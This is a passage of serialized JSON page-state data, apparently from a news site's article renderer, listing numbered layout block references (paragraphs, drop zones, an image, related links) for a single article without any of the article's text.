LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.11","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.13","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.15","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.17","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.19","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.21","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.22","typename":"ImageBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.23","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.25","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.27","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.29","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.31","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.33","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.35","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.37","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.39","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.41","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.43","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.45","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.47","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.49","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.51","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.53","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.55","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.57","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.60","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.62","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.64","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.66","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.68","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.70","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.72","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.74","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.76","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77","typename":"RelatedLinksBlock"}],"__typename":"DocumentBlock","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.0","typename":"HeaderBasicBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.1","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.2","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.3","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.4","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.5","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.6","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.7","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.8","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.9","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.10","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.11","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.12","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.13","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.14","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.15","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.16","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.17","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.18","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.19","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.20","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.21","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.22","typename":"ImageBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.23","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.24","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.25","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.26","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.27","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.28","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.29","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.30","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.31","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.32","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.33","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.34","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.35","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.36","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.37","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.38","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.39","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.40","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.41","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.42","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.43","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4M